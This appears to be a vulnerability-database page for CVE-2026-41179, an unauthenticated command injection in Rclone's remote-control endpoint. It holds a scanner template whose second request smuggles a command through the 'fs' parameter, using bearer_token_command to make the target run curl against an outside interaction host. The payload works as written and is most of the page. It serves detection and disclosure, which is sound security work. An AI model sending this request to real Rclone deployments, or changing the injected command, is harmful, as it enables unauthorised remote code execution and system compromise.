CVE-2026-41179: RClone RC - Command Injection

2026-05-09 RClone RC PoC Public

Description

Rclone >= 1.48.0 and < 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment without global HTTP authentication.

PoC

id: CVE-2026-41179

info:
  name: RClone RC - Command Injection
  author: theamanrawat
  severity: critical
  description: |
    Rclone >= 1.48.0 and < 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment without global HTTP authentication.
  impact: |
    Unauthenticated attackers can execute local commands remotely, potentially leading to full system compromise.
  remediation: |
    Update to version 1.73.5 or later.
  reference:
    - https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41179
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-41179
    epss-score: 0.05299
    epss-percentile: 0.92368
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    vendor: rclone
    product: rclone
  tags: cve,cve2026,rce,rclone,webdav,oast,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /rc/noop HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{}")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /operations/fsinfo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fs":":webdav,url='http://{{interactsh-url}}/',vendor=other,bearer_token_command='curl http://{{interactsh-url}}/{{randstr}}':"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Features")'
          - 'contains(interactsh_protocol, "http")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022022a4272058d7fcb1d7edf361d2cdb9fe41276b9c08659a488953c3cc7ab9d63302210094355dc8206b5749e29504c3339cd6162de8d4b0fe593956d41301c33f7efe5f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities